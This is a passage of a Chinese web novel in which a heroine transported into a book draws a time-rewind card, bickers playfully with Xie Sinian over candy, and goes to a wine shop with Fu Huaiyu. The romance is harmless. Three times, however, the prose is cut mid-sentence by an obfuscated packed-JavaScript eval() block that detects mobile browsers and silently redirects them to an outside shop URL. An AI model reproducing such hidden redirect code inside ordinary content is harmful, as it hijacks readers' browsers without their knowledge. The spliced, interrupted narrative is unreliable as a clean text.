权衡利弊之下,陆书雪只得放弃裴瑾,顺着周春和的台阶下了:“既然周小姐主动邀请了,那我自然很愿意。如此,便多谢大家了。” 得到满意的回答,谢斯年慢条斯理的收回了自己的目光,看起来依然是那个可爱青春的少年,但陆书雪却忍不住在松了口气的同时又直冒冷汗。 这个回答倒是周春和没有想到的,她没有发觉陆书雪和谢斯年两个人之间的暗波汹涌,按照她对陆书雪的了解,还以为陆书雪肯定不会轻易放弃,这期间怎么也得纠缠一番,然后即便是不能如愿也要狠狠恶心周夏莲一把,让周夏莲和裴瑾之间生出嫌隙。可她万万没想到陆书雪这么轻易的就顺着台阶下来了,甚至连一句多余的话都没说,让周春和满腔的斗志都像是被扎破了气球一样散了。 她二丈摸不着头脑,茫然的看着陆书雪,还以为她吃错药了。但陆书雪连看也没看她,径直转身离开了。 虽然这个结果是周春和没有想到的,但起码周春和避免了一场口舌之争,而且还非常轻松的完成了任务、让周夏莲和裴瑾顺利的住在了一起,于是心情也就变得格外不错。 谢斯年看着周春和不自觉地笑容和满面春风的轻声哼歌,不知道想到了什么,忽然转过了头,在无人发觉的地方轻轻勾了勾唇。 晚上简单吃过饭,大家便各自回房间了。 周春和紧随陆书雪后面进去,进去之后先在脑子里戳了戳系统:“系统系统,那这样就算是完成这个任务了吧?” 系统很快欢快的回答:“是的宿主,这次的任务圆满完成了。那宿主你现在要抽卡吗?” 周春和点了点头:“抽吧,那这次就还是和上次一样让你来帮我抽吧,抽中什么就算什么。” 哼哼,反正她已经搅和了陆书雪的阴谋诡计,就算是系统给她抽出一个抹着护发精油的易拉罐她也不会多说什么。 系统安静了两秒,很快又开口:“抽完了宿主,让我看看是什么……哇哦,竟然是‘时间回溯’卡诶!” 周春和不解道:“什么是‘时间回溯’卡?” 系统的声音明显的带上了激动:“就是可以让时间回溯……比如说你现在使用这张卡,那么时间就会回溯到之前的某个时间段。让我看看可以回溯到什么时候……啧。” 这个“啧”让原本还喜出望外的周春和又提心吊胆起来:“‘啧’什么?难不成要回溯到一开始吧?!” 那这不纯纯是帮倒忙嘛!用了这一次卡就直接把周春和所有的努力全部抹去了…… 不过好在系统很快开了口:“这倒不是,比这个稍微好一点。这个卡可以让时间回溯到一分钟之前。” 一分钟啊……这也太短了吧? 听起来似乎也很鸡肋,但比周春和设想的还是稍微好了那么一点。 周春和也没说什么,纯当这次是白送的了,也没多大情绪波动:“好吧,无所谓了。反正这次的任务正合我意。” 抽完卡片之后,周春和回过神,环顾一圈周围的环境。 这个客栈面积比较小,所以房间也很小,这个房间里放着两张床,都不大,不过唯一的好处就是中间有屏风阻隔,可以让周春和不用陷入和陆书雪面对面睡觉的尴尬境地。 进房间之后,两个人一句话都没有说。陆书雪故意就当看不见还有个人似的,一言不发的洗漱,然后目不斜视地躺到床上准备睡觉。 陆书雪不说话,周春和自然乐得清静,很快也洗漱完躺在了床上。 夜深了,客栈里熄了灯,于是四下里便都安静下来,房间里漆黑一片,只能看见中央被月光照的盈盈一片。 那边的陆书雪很快传来均匀的呼吸声,似乎已经睡熟了。周春和睁着眼睛看着一片漆黑的天花板,一时间全无睡意。 她在梳理最近一段时间发生的事情,越来越觉得事情的走向愈发偏离原本书中的描写。 小说中根本没有用这么大笔墨描写过枇杷府这个地方,更没有扯出什么王宽冬真死还是假死的事情,而且鲛人首领齐见山的出场也不在这里。周春和对书中后半部分的印象不如前半段深刻,还是也隐约记得书中对于枇杷府这个地方只是一笔带过,根本没有如此大费周章。 这也就是为什么自从来到阴花渡这个地方之后,周春和便对接下来的剧情变得不那么敏感了——她现在和其他人几乎没什么区别,都对接下来的事情一无所知。下一秒会发生什么,也只能靠自己的体验,所以她完全没办法预测。 而且作为女配的陆书雪也提前出现了,这就让接下里的剧情变得更加难以预料,周春和有种事情脱离掌控的感觉。她不知道这种发展对她来说是好事还是坏事,但她无端觉得有些恐慌。 她对符咒之事一知半解,甚至连剑也不怎么会用,如今遇到危险全靠周夏莲他们保护,可如果哪天周夏莲他们也遇到险境了呢?她又该何去何从? 接下来的剧情走向完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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既然已经起了头,周春和索性继续梳理接下来的剧情。 去完了大梵山和霓裳山之后,主角团经历了什么呢? 这段剧情就比较靠后,而周春和那个时候正好特别忙,所以也没多少心思看书,即便是看也是看的的潦潦草草,此刻再一回想,那些记忆力实在是有些支离破碎……周春和绞尽脑汁,只能隐约想起一个大的框架,但就是想不出具体的事件。 她只记得似乎和妖怪有关,而且似乎……似乎还有人死在了大梵山中。 想到死亡,周春和便一个激灵,脑子也稍稍清醒了一点。 死的不可能是主角团中的人,裴瑾和周夏莲就不用说了,他们自带主角光环,不可能在还没大结局的事情就死掉。至于她和谢斯年,则是在最后大结局的时候死的,这个周春和还是比较有把握的。 至于傅怀玉,他虽然死的比主角团其他人都稍微早一点,但也不至于这么早。 用排除法排除完这几个人之后,周春和便犯了难,除了他们,还能有谁死在了大梵山? 周春和不确定到底是谁,但能确定应该是一个和他们有交集、但交集不深的配角。 周春和犹自思索了片刻,实在是想不出来那人是谁,一时怀疑或许是自己记岔了,毕竟按照她这记性,这是很有可能的事情。 ——更何况话又说回来,如今他们经历的事情已经和书中不完全相同,甚至差别越来越大。书中虽然有人死了,但是说不定现实中又有了改变,让原本该死的人反而没有死,最后皆大欢喜嘛。 但由此也可以得出——虽然书中的他们没死,但现实中就不能保证了。 不论如何,周春和都不能因为书中的“她”好好活着就在现实中掉以轻心,毕竟现在这个世界和书中所描绘的那个世界几乎已经逐渐成了完全不同的两个走向,她不能再以书中内容为准了。 从现在开始,接下来发生的一切她要开始按照一个新的世界来对待。 78. 糖果铺子 第二日一早,周春和难得早起了一次。她绕过屏风看了一眼还在熟睡的陆书雪,轻手轻脚的洗漱完毕,从房间里面出来,然后小心翼翼地关紧了房间的门。 其他人似乎都还没醒,各个房间的门都还关着。不过裴瑾倒是已经起了,站在大堂里正准备出去买早点。 客栈里面只有午饭,没有早饭。若是想吃早饭的话,还得去路边的一家早点铺子买回来才行。 周夏莲还没醒,裴瑾就想着在她醒之前买好饭,这样等周夏莲起床就可以直接吃东西了。 周春和见状便也想跟着,其他人都还没醒,她一个人呆着也是无聊,还不如跟着一起出去转转。 只是她前脚还没有和裴瑾一起踏出客栈大门,谢斯年后脚就从楼梯上下来了。 他已经收拾的干净利落,看起来神清气爽,见到两人正要出去,便随口问了一句他们去干嘛。 裴瑾解释了一下,又笑着邀请道:“不如你和我们一起出去吧,呆在客栈里也是闷得慌。” 谢斯年看了一眼周春和,眼珠子转了转,很快笑眯眯的答应下来:“好啊,正好我想去买点东西,那就一起去吧。” 三个人结伴而行,在路上边走边聊,很快来到了最近一家早点摊子前,买足了够六个人吃的东西。 等待老板找零的时候,裴瑾因问谢斯年道:“斯年,方才你不是说还有要买的东西吗?你要买什么?” “哦,也没什么,昨天来的时候看到了一家买糖块的铺子,便想过去买点糖块。路也不远,我自己去就行了。你们把早点送回去吧。” 裴瑾一听,也就没说什么了。倒是周春和听见“糖块”两个字立刻忍不住眼前一亮,兴致顿时高昂起来,扒拉着谢斯年的胳膊热切道:“什么卖糖果的铺子?在哪在哪?我也要去!” 谢斯年还没说话,裴瑾便先忍不住笑道:“既然如此,那你们便一起去买吧。我先把这些早点送回去,就不跟你们去凑这个热闹了。” “好啊,那裴大哥你先回去吧,别耽误了阿姐他们吃饭,我们待会就回去。裴大哥拜拜!” “好,路上小心,早去早回。” 裴瑾笑着和两人道别,看他们离开了,脸上还挂着一种如同看到自己女儿和夫婿相亲相爱的慈祥笑容。 另一边的两个人很快拐到了另一条街上,周春和雀跃的问:“那个卖糖的在哪儿啊?” 谢斯年看着她,嘴边也忍不住携起一丝笑:“哦,不远,就在前面。” 周春和一想到能吃糖就开心,她特别喜欢吃甜的,尤其喜欢吃各种各样之前没吃过的甜的。 她还没吃过此处的糖块是什么味道,所以光想想就觉得已经很开心了。 在实现愿望的路上往往是最令人期待的,她脸上不自觉的挂着笑容,心情一愉悦,话也就多了起来:“哎呀,我的糖库已经好久都没有更新了,这次我一定要多买点各种不同种类的糖块,好好补一下货。” “糖库?” “嗯哼,是我给自己放糖的小袋子取的名字。” “那很随意了。” “你不懂了吧,越是简单就越是好用,贱名好养活嘛。” 周春和一遇到买糖的店铺就忍不住进去买点出来带着路上吃,谢斯年他们早已经在不知不觉中习惯了,甚至在遇到买糖的铺子时,即便是周春和不在身边也会下意识想起她来。 此前大家都没有买糖吃糖的习惯,但如今因为周春和的加入,许多事情在不知不觉中有了变化。 就像是谢斯年,也有很多习惯被周春和改变了。 周春和想到了什么,又奇怪的说:“不过你不是一向不喜欢吃甜的吗?上次你洗衣服的时候,我看着你还没有吃我上次给你的糖呢,怎么了,是不喜欢吃吗?” 周春和忍了忍,把后半句“不喜欢吃就给我”这种显得比较小气的话勉强咽了回去,转了换了一个自认为毕竟委婉但实则没好到哪里去的说法:“……要是你不喜欢吃,那我以后就不给你了。” 要不省的浪费了,毕竟有时候赶路赶得天昏地暗,荒郊野岭的根本没地方去补充被吃掉的糖块,她吃完了自己都还不够吃呢。 谢斯年挑了挑眉,高高的马尾在他身后一荡一荡的:“谁说我不喜欢了?” 他忽然朝周春和露出一个有些邪气的笑:“以后你的糖只许全部给我,否则……”他忽然朝周春和露出一口森森白牙,“要不然我就趁你不注意的时候把你的‘糖库’里的糖全部拿走,让你再也见不到你最喜欢吃的那些糖块了。” 这个威胁确实有效,周春和一下子就觉得自己被捏住了命门,她偷摸翻了个白眼,不瞒道:“哼,我就知道你打我糖的主意!放心吧,我还没有那么小气,不至于连一块糖都舍不得给你。不过给了你糖你又不吃,留着也是浪费呀。你是不是担心吃完就没有了才不吃的吗?” “嗯……你就当作是这样吧。” “看来你还挺贪心的呢,还和我一样也会担心糖吃完的问题……不过呢,你最幸运的就是遇到了我,有我在这里,糖吃完的这一点你就不用担心了,只要我的糖库还有糖,那么有我一块就有你的一块,你放心,绝对落不下你。” 谢斯年回头看了一眼周春和,少女说的气动山河、壮志酬筹,若是不知道人听着,还以为是什么关系百姓的大事呢,结果仅仅只是再讨论一颗糖的何去何从。 但又好像不止是一颗糖,谢斯年侧头看着周春和,这颗糖还可以让周春和开心起来,那么它便已经发挥了自己最大的价值。 谢斯年在一家店铺前停了下来,周春和还以为到地方了,看也不看就闷头往里走。 却被身后的谢斯年轻轻扯住了头发。 为了图方便,周春和只梳了一根简单的长辫子。她的头发很多,编起辫子有粗长的一条。但她倒是不喜欢在头上插满头饰,因为她觉得重的会坠的头皮难受,轻的又繁琐复杂,插起来耽搁时间,影响大家赶路。 若是和古代那些大门不出二门不迈的贵小姐一样,周春和倒是有闲心打扮自己,但现在他们颠沛流离,有时候直接席地而睡,哪里有时间研究这些? 谢斯年轻轻拽住了她的那条长辫子,周春和回过头,倒是不觉得疼,只是被桎梏住了动作,回头时有些难受。她张牙舞爪道:“干嘛扯我的头发?!死谢斯年,快把你的大猪蹄子给我放开!” 她一回头,看见了谢斯年跃然于脸上几乎掩饰不住的得意笑容:“就不。” 周春和想踩谢斯年的脚,却被他轻松躲了过去。 谢斯年的笑意更甚:“就你这身手是不可能踩中我的,你就放弃吧。” 周春和还偏就不信邪了,谢斯年已经放开了周春和的头发,周春和就趁机过去踩他的鞋,但依然被谢斯年轻轻松松躲了过去。谢斯年哈哈大笑着逗周春和,周春和进一步,他就退一步,等周春和泄气了,他又找事儿般的故意上前一步拽一拽周春和的辫子,周春和捂着头满地踩谢斯年的脚,却每次都又落空。 周春和气急败坏,几乎想要破口大骂。谢斯年则再也忍不住笑出声来。 街上没什么人,清晨初生的日光无比明媚,暖洋洋的照在脸上,也倒映在谢斯年带着笑意的眼睛里。少年开怀大笑,那份独属于少年的青春感觉挥之不去,让他在以灰黑白为主的建筑背景中,成为了最浓墨重彩、最热烈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690107|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笔。 他唇边有一对笑窝,迎着金灿灿的阳光,像是被镀了一层明亮的金子。 周春和抬头看着谢斯年那灿烂的笑容,一时间忘了动作。 少年一身黑色的衣服仿佛此刻也被阳光照成了金色,他的高马尾在背后高高扬起,随着他的动作上下灵活的跳动。他有一双很漂亮的眼睛,现在那双眼睛里盛满了纯粹的笑容和愉悦,似乎变得更加迷人起来。 他逆着光,脸边被镀上一层毛茸茸的光边,动作自由,表情灿烂。 周春和很快回过神,谢斯年这难得一见的模样看的她心里痒痒,她做出要继续踩谢斯年的模样,在谢斯年低头躬身想要躲开时,她忽然伸出双手,出其不意的捏住了谢斯年的脸颊。 少女的体温略高,她的手心更是热烘烘的,一下子就捧住了谢斯年的脸颊。 在皮肤相触的一瞬间,两个人都愣了。 谢斯年停住了自己动作,表情似乎闪过一丝茫然。 周春和就趁着谢斯年愣神的这短短几秒,玩心大发的把谢斯年的脸颊当面团,又揉又捏,看着谢斯年的脸颊肉在自己手中变幻出不同的形状,周春和再也忍不住哈哈大笑起来。 她的笑容有一种得逞的得意,她为自己扳回一城而觉得得意洋洋:“哼,我让你躲,让你躲!最后还不是落入我的手掌心了?” 谢斯年想起来,但周春和稍稍用了用力,更加大动作的蹂躏起谢斯年的脸庞,觉得那团脸颊肉软软的还怪舒服,一时忍不住摸了又摸,揉了再揉。 最后她依依不舍的松开了手,谢斯年的脸颊已经有些微微泛红了。而且不知道为什么他的耳朵也红红的,视线有些躲闪,有些刻意的移开眼睛,抬手整理自己被周春和揉乱的发带。 周春和乐不可支:“哈哈哈哈哈哈,反正你脸皮这么厚,脸红脸黑都看不出来,给你弄点人工‘红晕’,让你的脸也体验一把变红的滋味!哈哈哈哈哈哈哈哈哈哈哈哈哈不过你这样真的比之前看起来更好说话了一点……怎么样啊谢斯年,考不考虑每天都体验一把?” 原本周春和还以为谢斯年会恼羞成怒,可谁知道谢斯年只是不痛不痒的咳了一声,然后哼了一下,故作不在意道:“这次只是侥幸让你得手,下次谁胜谁负可就不一定了。” “哎呦喂,怎么,你还不服啊?来,那咱们再来比划比划!” 谢斯年似笑非笑的看着积极热身的周春和,一动没动:“某个人要是再耽误下去,就买不上她最喜欢的糖了。” 周春和一拍脑门,懊恼自己怎么光顾着和谢斯年打闹,结果把最重要的这件事给忘了。她连面谄媚的来到谢斯年身边,笑嘻嘻地说:“走吧走吧,不闹了,先去买糖。” 谢斯年却不动了,他看着周春和,忽然阴森森的笑了笑,露出自己的小虎牙:“可你刚刚弄乱了我的头发,我不开心了,不想带你去了。” 周春和干巴巴的笑了一声,心里却狠狠的骂了谢斯年一句——靠靠靠,这个死谢斯年,竟然敢拿这个威胁她! 但人在屋檐下不得不低头,周春和忍气吞声道:“那你想怎么办?” 谢斯年抱着胳膊,理直气壮道:“让我揉回来。” 周春和:“……”此仇不报非君子是吧? 行谢斯年,我记住你了。 周春和心里大骂谢斯年三百回合,但现实里却不得不“委曲求全”,为了自己的吃糖的愿望向现实让步:“那你快点,我刚刚可只揉了你一小会儿,你也不许多揉!” 谢斯年朝她灿然一笑,敷衍道:“我知道了,你放心吧。” 周春和犹豫了片刻,还是眼一闭心一横,把自己的脸送了过去。 79. 捉弄 见周春和都这么主动了,谢斯年也没客气,懒洋洋的直接伸手捏上了周春和的脸。 少女的脸颊很软,脸边还有点婴儿肥——周春和全身都很瘦,但不知道为什么就是脸颊上面有一点肉肉,不过倒是特别可爱。 谢斯年捏着那团软软的脸颊肉,一时间觉得手感好的有些出乎意料,于是忍不住又搓又捏,十分称心。 眼见周春和的脸色越来越差,谢斯年非常有眼色及时在周春和发火之前停了手。 他笑眯眯的看着周春和被气成了小包子,忍不住戳了戳周春和鼓囊囊的腮帮子,终于不继续逗她了:“好了,走吧,带你去找糖果铺子。” 周春和冷哼一声,摸了摸自己已经有些泛红的腮帮子,纡尊降贵般地说:“这还差不多,这次就先饶过你,走吧。” 谢斯年笑眯眯的看着周春和,果然带她继续往前走了。 或许是因为天色还早,这一条街现在没什么人,很多店铺也都还没开门,周春和还有些担心那家糖果店铺没开门,但没走两步谢斯年就停下了。 他让开身子,让周春和先进去:“喏,到了。” 周春和一看门开着,最后一点担心一扫而空,立刻便雀跃起来。她终于不用再受谢斯年的控制,于是得意的叉起了腰,仰天长笑道:“哈哈!谢斯年,我已经到目的地了,你也没有价值了,还不快快过来受死!” 周春和准备报自己刚刚被谢斯年戏弄之仇,她站在台阶上面,正好比谢斯年高出半个脑袋。她趁着谢斯年还没反应过来之际,眼疾手快的扯住了谢斯年飘扬到胸前的发带,同时狠狠揉了揉谢斯年的脑袋,得意洋洋的哈哈大笑:“哼!小小谢斯年,竟敢在大王头上作威作福!今日我便给你个教训,以后见到我万万不可再无礼了,知道了吗?” 原本周春和还以为以谢斯年的尿性,肯定还会再和她拌嘴几句,然后两个人再争执一番,说不定还会动手。但却不知道谢斯年为什么反而一直没说话,甚至在被周春和捏住发带扯了扯之后,也没怎么反抗。 不过周春和的心思在糖上,拽了拽谢斯年的发带很快也就松开了。 谢斯年脸上依然带着笑,明明是被周春和捉弄了,可看起来依然是非常愉悦的模样。 周春和的注意力全在铺子里,也没多想,很快就放开谢斯年转身进去了。 她活蹦乱跳的跳进铺子里,一路找到了老板,心情愉悦的开了口:“老板,你这里都有什么糖啊?我要来买一点。” 那老板年纪已经很大了,头发胡子全白了,正费劲的眯着眼睛看一本已经泛黄的古籍,骤然听见有人说话,老板在柜台后面抬起头,眯着眼睛仔细看了看面前的来人,一时间有些莫名其妙:“什么糖?你走错店了吧,我们这是卖药的,没有糖。” 周春和一愣,有些似乎还有点不敢相信:“卖草药的……?” 她这才扭头看了看周围,刚刚她一直沉浸在报复完了谢斯年的愉悦之中,根本没细看这是什么店就满面春风的直奔老板而来,直到现在才想起来看看周围的摆设。 果然如老板所说,周围放的全是放药材的柜子,柜台上还放着刚晒干的草药,细闻还能闻见一股药草特有的香气,哪里有什么糖果? 老板皱着眉看了她一会儿,虽然有些不悦,但还是好心开了口:“糖果铺子在隔壁,这里不卖糖,你想吃的话,要去隔壁买,慢走不送。” 站在门外一直没进来的谢斯年终于忍不住哈哈大笑起来。 周春和尴尬的连连和老板道歉,同时忍不住回头狠狠瞪了谢斯年一眼。 怪不得!怪不得刚刚她那样对谢斯年谢斯年还不反击,怪不得他刚刚笑得跟个狐狸似的,原来是在这儿等着她呢! 等周春和一出门,立刻便忍不住上去狠狠锤了谢斯年一下。 谢斯年笑着躲了过去,周春和一击不成,跳起来又伸手想要打他。 谢斯年仗着人高体型大,接过周春和砸来的拳头,顺势卸了周春和的力,将她的手牢牢包裹在自己宽大的手掌心里。 周春和一只手动不了,就用另一只手继续打谢斯年。谢斯年倒是也不还手,看周春和下手比较重呢,就漫不经心的躲一躲,看周春和下手轻,就笑眯眯的受下了。 其实周春和打的几乎都不重,一是她本来就没认真,二是她力气也不大,拳头落在谢斯年上上一点也不疼,不过倒是像雨点般密集。 周春和打着打着,宣泄完情绪,又不知不觉呲着一口大白牙笑出来——她在和谢斯年你躲我往的扭打中离谱的感觉到了一种乐趣,于是原本的殴打变成了一种你来我往的有趣打闹。 最后两个人几乎快拧成了一个大麻花,在相互纠缠之中,两个人都忍不住哈哈大笑起来。 打闹了一阵之后,周春和喜笑颜开,刚刚的那点报复回去的心思也早就散干净了。 周春和整理了一下自己有些凌乱的头发,和谢斯年肩并肩,迎着清晨温暖的太阳笑眯眯的走向隔壁的糖果店,早忘了刚刚因为什么起的争执。 这次周春和终于如愿买了许多糖果,再度填满了她的“糖库”。 因为这一路上一直在打打闹闹耽误了不少时间,所以回去的时候,其他人都已经起床收拾利落了。 周夏莲刚在餐桌前坐下,见周春和和谢斯年进来,便立刻笑着招呼他们:“快来吃饭吧。” 周春和笑眯眯的应了一声,走过去坐在了周夏莲身边。 正好傅怀玉也过来了,他看了一眼饭桌的布局,又看了一眼朝周春和走来的谢斯年,不动声色的顺势走过去,在周春和身边坐下了。 谢斯年被傅怀玉状似无意的挡在了一边,顿时皱了皱眉,有些不悦的勉强坐在了另一侧。 裴瑾买了许多种类的早点,有各色口味的包子,有豆浆油条,还有烧卖和豆腐花,全都是周春和爱吃的。 周春和丝毫不客气,拿起筷子便开始狼吞虎咽。一边的傅怀玉夹了一个周春和喜欢的小笼包放在她的碗里,笑容温和:“……慢些吃,不要噎到了。你爱吃的香菇鸡肉馅的,快尝尝这边做的合不合胃口。” 周春和刚咽下嘴里的烧卖,迫不及待地夹起来咬了一大口,还没来得及咽进肚子里就双眼放光的连连点头,艰难的咽下之后,含糊不清的说:“嗯嗯嗯,好吃好吃,比之前在阴花渡的还要好吃!” 傅怀玉被逗笑了,他的一双眼睛弯弯的,像是一对月牙:“那就好。” 周春和咽下嘴里的东西之后,才又好奇的问傅怀玉:“你怎么分辨出来这是香菇鸡肉馅的呀?” 傅怀玉依然是笑眯眯地说:“哦,这倒是容易。姑娘仔细观察一下这些包子,便可以看出店家为了方便顾客认出来留下的小巧思——每个包子的褶皱那里,都会被店家留下一点馅料,你谯,这个包子上留的是胡萝卜碎,那么这个就是胡萝卜馅的;这个是香菇丁,那么就是香菇鸡肉馅的……我就是靠这个分辨出来的。” 闻言周春和仔细看了看,忍不住惊讶道:“还真是诶!你不说我都没有注意到,傅怀玉,你观察力好强啊。” “姑娘谬赞了,不过是恰好看见了而已。喝点水再吃,别噎到了。” “好!” 饭桌上大家都在聊天,裴瑾和周夏莲在聊符咒的事情,陆书雪时不时的插一嘴来刷存在感。傅怀玉则和周春和聊训鹰聊得不亦乐乎,只有谢斯年,像是被分隔出来的一个略显清冷的世界。 其他人都热热闹闹的,可一到了他这里,仿佛连空气都变得冷淡起来。 他看着周春和脸上明媚的笑容,忽然觉得周春和周围似乎总是围着很多人。 齐见山、裴瑾、傅怀玉……很多人在她身边来来去去,似乎每个人都能占据她的心神,每个人都能让她分出心思去和他们聊天、笑闹。她喜欢和每个人聊天,大家也都喜欢和周春和呆在一起。 随着这些人越来越多,周春和留给谢斯年的位置就变得越来越小、越来越少了。 周春和似乎总是很忙,她总是这么的引人注目,就连和他单独相处的时间都寥寥无几,和他打闹玩笑也好像是施舍,笑闹完之后,很快她就又会转身投入和下一个人的交往中。 但他却像是已经被周春和占据了所有心神。 不知道从什么时候开始,他的眼睛里就再也容不下别人了,就连周夏莲也在不知不觉中从他的视线里退了出去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再加上有周春和在一旁助阵,是以最后陆书雪也没去成。 在等裴瑾和周夏莲回来的时候,几个人都无所事事,也可以去街上买点自己需要的,若不想出去,在客栈里歇着便是。周春和想到了白天那个草药铺子,于是便想要拉着傅怀玉去看看——之前傅怀玉乾坤袋里的所有花草药材被一把火烧掉了的事情虽然已经过去了,但依然是周春和不愿忘记的一个疙瘩。 虽然傅怀玉自己不觉得有什么,但她想起来就会觉得心脏似乎哪里缺了一角,觉得心口闷闷的。她心疼傅怀玉数十年的努力付诸东流,更心疼傅怀玉没有办法得偿所愿。 虽然将那些花草全部找回来已经是不可能的事情了,但周春和还是想尽力弥补一点,反正他们还有很长的时间可以用来持之以恒的做一件事情,所以周春和便想着能找到一点是一点,不奢求找全,但起码这个过程对两人来说也是一种别样的经历。 只要做过了一件事,不管这件事留下的后果是好的还是糟糕的,那都是一种新的体验。周春和觉得人生就是由这种无数好的坏的体验组成的,她愿意探索生命里更多的可能。 傅怀玉一向不会拒绝周春和,更何况他明白周春和此举是想让他觉得开心。 但他又想,如果仅仅只是想让他开心,那么周春和其实也不必这么大费周章。因为周春和现在还不知道,只要她自己觉得开心,那么他就也会跟着开心。 两个人肩并肩走出两步,周春和想起来什么,又回过头问谢斯年:“谢斯年,你要不要一起去?” 犹豫了一下,还是神色别扭的也勉强问了陆书雪一句:“你去不去?” 陆书雪似乎对于周春和会主动问自己感到意外,一时间没反应过来,下意识有些愣愣的回答:“……不去了,我想回房间休息一下。” 周春和点了点头,看向不知道在想些什么的谢斯年,见他一直不回答,于是又追问了一句:“你去不去?” 谢斯年移开视线,意兴阑珊,似乎觉得索然无味,哪里都变得无趣起来:“不去了。” 如果你想要给我的,是你已经给过别人了的,那我就不要了。 80. 醉酒 谢斯年扔下冷冰冰的三个字,一言不发的转身离开了。 他的背影不知道为什么看起有些寂寥的意味,让人看着心里不是滋味。 谢斯年走后,陆书雪也很快就离开了。只留下一脸雾水的周春和和傅怀玉面面相觑:“……是我的错觉吗?我怎么感觉谢斯年似乎心情不太好?” 明明刚刚还不是这样的啊,怎么就吃了顿饭的工夫一切就都变了?这小腹黑也太阴晴不定了吧。 傅怀玉露出一个宽慰的笑:“或许是出发在即,谢公子心里为接下来的奔波而烦恼,又或者是哪里不舒服,身上不太爽吧。” 周春和也只是随口一说,闻言也就没说什么了:“或许吧……那咱们赶紧走吧。” “好。” 周春和先一步出门,傅怀玉紧随其后。在踏出大门之前,傅怀玉回头看了一眼,身后已然不见谢斯年的背影。于是傅怀玉若有所思的露出一个笑,笑容慢慢变得漫不经心,又似乎带着十足的愉悦,像是一条吐着蛇信子的毒蛇,里面的快意藏都藏不住。 不过下一秒当周春和叫他的时候,他又在转瞬之间恢复了原本温和的模样,仿佛刚刚那个怪异的表情只是错觉。 两个人沿着早晨周春和刚走过一遍的路又走了过去,很快在那个药店停下了。 周春和指着那个招牌回头对傅怀玉道:“就是这里了,走吧,我们进去看看。” 店铺的老板依然保持着早上那个看书的姿势,正抱着一本厚厚的医书古籍翻阅,他显然已经不记得周春和了,见周春和来问,简单和周春和、傅怀玉介绍了几种可以常备的药材之后,便继续翻看他的书。 这老板脾气有些古怪,不过周春和也没放在心上,只催着傅怀玉赶紧去找几味药材装进乾坤袋里。 傅怀玉在铺子里转了一圈,最后只选了几味止血的药。 付完银叶子出来,两个人很快被一个甜腻腻的叫卖声吸引了。 周春和回头望去,这才发现后面那条街上的铺子已经全部开张了,就连早晨她刚来的时候还没有开的铺子也都开了,叫卖声就是一家酿酒铺子的老板娘在招揽来往的顾客。 不过只是晚了几个时辰再过来,可这铺子已经和早晨周春和第一次来的时候变得完全不一样了。 明媚的阳光暖洋洋的照在身上,街上热闹吵嚷,今日恰逢是集市,于是街上叫卖的小贩更多,有几个还为争抢好位置大打出手。 带着孩子的父母满面笑容,几个才刚总角的小孩在巷子里肆意打闹,各处都充满了烟火气。 周春和置身于热闹中间,心情也跟着这些人世间的烟火气一起鲜活起来。 见两人驻足,老板娘立刻很有眼力见的在小酒盅里斟了满满两杯酒送到两人手中,操着一口温言软语笑道:“小郎君小娘子来尝尝我们家的酒,这就是用夏季最好的杨梅酿出来的果子酒,味道足,酒劲儿大,尝过的人都说好。你们来尝尝好不好喝,好喝就带回去在家里慢慢喝,不好喝就当交朋友了!” 老板娘声音温软,但话却豪爽。周春和也没客气,接过来往杯中瞧了瞧,便看见那液体晶莹剔透,上面还飘着几多晒干的桂花,还没喝就闻见一股淡淡的果子香气。一饮而尽之后,尝在嘴里更是回味无穷,令人“流连忘返”。 周春和把最后一滴也喝尽了,意犹未尽的和老板娘说:“老板娘,你这酒果然好喝,人美酒更妙,叫人尝了一杯还觉得不够,非得好好喝上几壶才痛快。只是不知道怎么卖?我想带回去,给家里人也尝尝。” 老板娘哈哈笑道:“这位小娘子倒是个爽快人,既然如此,你便多带几坛子回去,我给你便宜,还送你几个香囊!” 周春和喜出望外:“那敢情好……不过还有现成的酒吗?你这酒委实好喝,让人喝了还想再喝,我想在这里喝一坛子再走。” 老板娘乐不可支,显然很喜欢周春和这直爽的性子和能言善道的嘴:“小娘子莫急,酒有的是,您二位进来坐,我亲自给您端上来。” 说着朝身后呆在店里的两个小厮高声叫道:“贵宾两位,请到二楼雅间!” “得嘞!” 很快迎上来了一个满面笑容跑堂的,殷勤的将周春和往酒肆里引。 原来这酒馆分为上下两间,上层空间大,有好几间包间和一间老板老板娘住的房间,楼下则是用来吃饭唱曲儿的大堂。大堂里头闹哄哄的,还有个女先儿在说书呢。 这酒肆不仅有酒,还能吃饭。若不是早上已经吃过东西了,周春和简直想在这里再搓一顿。 小厮将两人引到了外面临街靠窗的一个包间,进去之前,那小厮笑道:“两位客官稍等片刻,酒马上酒来。” 周春和答应着往窗外看去,只见从这里能将整条街都一览无余,靠窗喝酒,想来别有一番风味。 她对这个房间很满意,回头看傅怀玉,只见傅怀玉已经端端正正的坐在小木桌前了。 周春和的视线这才从热闹的集市上离开,走到傅怀玉对面席地而坐,笑眯眯地说:“反正阿姐和裴大哥还得好久才能回来,咱们回客栈干等着也是无趣,不如在这里饮酒来得痛快。放心,我不多喝,一定不会耽搁赶路的。” 傅怀玉的眼睛弯弯的,像月牙:“我自然相信姑娘的自制力。” 